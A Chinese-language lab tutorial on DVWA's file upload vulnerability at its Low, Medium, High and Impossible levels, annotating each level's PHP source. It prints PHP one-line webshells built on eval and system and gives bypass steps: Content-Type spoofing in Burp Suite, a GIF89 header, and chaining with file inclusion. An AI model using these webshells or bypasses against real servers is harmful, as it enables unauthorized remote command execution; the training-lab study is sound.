这里我们以DVWA的测试环境进行演练(这里利用php的一句话木马进行攻击)
DVWA有四个等级:Low、Medium、High、Impossible
—————————————————————————————————————————————————
Low:
源代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
代码解释:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
//isset判断变量是否存在或为NULL(也就是0,但\0不代表NULL)。变量存在且值不为NULL,返回true;变量存在且值为NULL,返回false;变量存在,直接返回NULL
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
//这里的DVWA_WEB_PAGE_TO_ROOT在xampp/htdocs/dvwa/vulnerabilities/upload/index.php中追溯到define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
//basename()函数 返回路径中含有文件扩展名的文件名部分,举例:
/*<?php
$path = "/testweb/home.php";
//显示带有文件扩展名的文件名
echo basename($path); #答案home.php
//显示不带有文件扩展名的文件名
echo basename($path,".php"); #答案:home
?>
*/
//$_FILES["uploaded"]["name"] 返回被上传文件的名称
//代码完整含义:$target_path = $target_path + basename( $_FILES[ 'uploaded' ][ 'name' ] );
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
/* if(){
当括号里为true时执行的代码}
else{
当括号里为false时执行的代码}
!代表非
$_FILES["file"]["tmp_name"] 返回存储在服务器的文件的临时副本的名称
move_uploaded_file() 函数将上传的文件移动到新位置,若成功,则返回true,否则返回false
在move_uploaded_file()中,如果$_FILES[ 'uploaded' ][ 'tmp_name' ]指定文件是通过post提交,并且文件合法,返回true,否则返回false
如果move_upoaded_file函数返回true,那么!move_upoaded_file就是false
*/
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
从以上代码可以看出,代码没有对上传的文件进行任何过滤,甚至还显示出了上传后文件的路径与文件名
这里我们可以利用上传一句话木马(php),再加上中国蚁剑,完成渗透
php一句话木马:
<?php @eval($_GET['cmd']); ?> //适合中国菜刀使用与url渗透
<?php @eval($_POST['cmd']); ?> //适合中国菜刀与中国蚁剑与hackbar(post)渗透
<?php @eval($_REQUEST['cmd']); ?> //适合中国菜刀与中国蚁剑与url渗透
//我这了是php7及以上版本,菜刀无论使用三种之一都无法连接,我猜是php版本过高,但如有知道具体原因,还望评论告诉我
eval函数主要执行php代码,也可以执行系统命令
system函数只能执行系统命令
@表示即使报错,也不显示
<?php @system($_GET['cmd']); ?> //只适合url渗透
<?php @system($_POST['cmd']); ?> //只适合hackbar(post)渗透
<?php @system($_REQUEST['cmd']); ?> //只适合url渗透
渗透流程:
1.我们写好包含一句话木马的test.php文件,这里使用的是<?php @eval($_REQUEST['cmd']); ?>
2.点击上传文件,如图:
3.我们访问上传后的文件
4.看看能否用url进行命令执行
首先试试能否执行php代码命令:
再试试能否执行系统命令:
5.我们用中国蚁剑
输入url与密码后,点击添加
随后双击该数据条
连接成功,你已经拿下对方服务器的客户端
—————————————————————————————————————————————————
Medium:
源代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
代码解释:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
//$_FILES["uploaded"]["type"] 返回被上传文件的类型
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
//$_FILES["file"]["size"] 返回被上传文件的大小,以字节计
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// ||表示或
// &&数学中且的意思
//如果$uploaded_type == "image/jpeg"或$uploaded_type == "image/png"并且$uploaded_size < 100000,返回true,继续执行下面的if语句
//否则返回false,执行下面的else语句:echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
//这里就只能上传照片了
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
由以上Medium级别的代码可以看出,代码对上传文件进行了过滤,只能上传Content-Type为image/jpeg或image/png格式的文件,并且文件必须小于100000字节
但是,它并没有对文件后缀名进行过滤,我们可以通过burpsuite抓包修改Content-Type,从而达到上传后缀名为php的文件
渗透流程:
1.打开burpsuite
2.打开上传页面,在该漏洞等级下上传test.php
3.将图片中选中的数值改为image/jpeg或image/png,之后Forward,一直放行也可以
4.你会看到上传成功,如图,说明绕过成功
5.之后的利用方法和前面Low等级的是一样的
注:因为我这里是最新版的php,00截断无法使用,需要php<5.3.4,后续我会写一篇
—————————————————————————————————————————————————
High:
源代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
代码解释:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
//strrpos( $uploaded_name, '.' ),查找 "." 在字符串中最后一次出现的位置,$uploaded_name的第一个字符位置为0,举例:strrpos(”1.php“ , '.'),结果返回1
//substr()函数,返回字符串的一部分,第一位从0开始,举例:substr("Hello world",6),默认从第6位返回到字符串的结尾,所以返回world
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
//strtolower(文件名)函数,把字符串转换为小写
/*getimagesize()函数,取得图像大小。将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串
如果不能访问$uploaded_tmp指定的图像或者其不是有效的图像,getimagesize()将返回 FALSE 并产生一条 E_WARNING 级的错误
*/
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
echo '<pre>Your image was not uploaded.</pre>';
}
else {
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
从以上代码可以看出,它只允许上传后缀名为jpg/jpeg,并且要求图片小于100000字节
1.我们可以用记事本写一个一句话,然后把后缀名改为jpg格式如图:
2.尝试上传,出现上传不了,因为后缀名是图片格式还不行,它用了getimagesize函数,所以必须要文件内容也是图片才行
3.为了达到文件内容也是图片,在文件头部加上jpg格式的GIF89,如图:
4.再次尝试上传,上传成功
5.但这个文件是以jpg为后缀,不能用菜刀或蚁剑进行连接,url利用时也只会返回图片信息,并不会执行php命令,所以我们需要让图片进行php解析,这时我们就可以结合DVWA中的文件包含漏洞进行利用:
这样就利用成功了
—————————————————————————————————————————————————
Impossible:
源代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
echo '<pre>Your image was not uploaded.</pre>';
}
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码解释:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
//md5()函数,计算字符串的MD5散列,也就是给字符串进行md5加密
//uniqid()函数,基于以微秒计的当前时间,生成一个唯一的ID
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
/*
ini_get 获取一个配置选项的值
ini_get ( string $varname ) 成功时返回配置选项的值
varname 配置选项名称
成功是返回配置选项值的字符串,null 的值则返回空字符串。如果配置选项不存在,将会返回 FALSE
*/
//php.ini中的upload_tmp_dir的这个参数为上传文件的临时目录
/*
?是条件语句的简写
举例:
if($x>3){
echo "OK";}
else{
echo "NO";}
等同于$x>0 ? echo "OK" : echo "NO";
三元运算符语法:条件 ? 符合条件结果1 : 不符合条件结果2
*/
/*
sys_get_temp_dir — 返回用于临时文件的目录
sys_get_temp_dir ( void )
返回 PHP 储存临时文件的默认目录的路径,就是返回临时目录的路径
*/
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
//imagecreatefromjpeg ($filename ) 返回一图像标识符,代表了从给定的文件名取得的图像
imagejpeg( $img, $temp_file, 100);
//imagejpeg ( resource $image [, string $filename [, int $quality ]] )
//imagejpeg() 从 image 图像以 filename 为文件名创建一个 JPEG 图像,参数quality可选,0-100 (质量从小到大)
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
//imagecreatefrompng ($filename ) 返回一图像标识符,代表了从给定的文件名取得的图像
imagepng( $img, $temp_file, 9);
//imagepng ( resource $image [, string $filename ] )
//imagepng() 将 GD 图像流(image)以 PNG 格式输出到标准输出(通常为浏览器),或者如果用 filename 给出了文件名则将其输出到该文件
}
imagedestroy( $img );
//imagedestroy ( resource $image )
//magedestroy() 释放与 image 关联的内存。image 是由图像创建函数返回的图像标识符
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
//rename(oldname,newname,context)
/*oldname 必需。规定要重命名的文件或目录。
newname 必需。规定文件或目录的新名称。
context 可选。规定文件句柄的环境。context 是可修改流的行为的一套选项*/
//rename() 函数重命名文件或目录
//getchwd() 函数返回当前工作目录
/*举例:
<?php echo getcwd() ?>
结果:
/home/php
*/
/*
DIRECTORY_SEPARATOR php目录分隔符
因为windows下的分隔符为\,但在Linux下却为/,Windows下的\是无法在Linux下运行的,所以用DIRECTORY_SEPARATOR(php内置变量),自动辨别使用哪种分隔符,这样就不会出错了
*/
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
echo '<pre>Your image was not uploaded.</pre>';
}
if( file_exists( $temp_file ) )
/*
file_exists() 函数检查文件或目录是否存在
如果指定的文件或目录存在则返回 true,否则返回 false
file_exists(path)
path 必需。规定要检查的路径
举例:
<?php echo file_exists("test.txt"); ?>
输出:
1
*/
unlink( $temp_file );
/*
unlink() 函数删除文件
若成功,则返回 true,失败则返回 false
unlink(filename,context)
filename 必需。规定要删除的文件。
context 可选。规定文件句柄的环境。Context 是可修改流的行为的一套选项
*/
}
else {
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
上面的impossible源代码也就是无上传漏洞可利用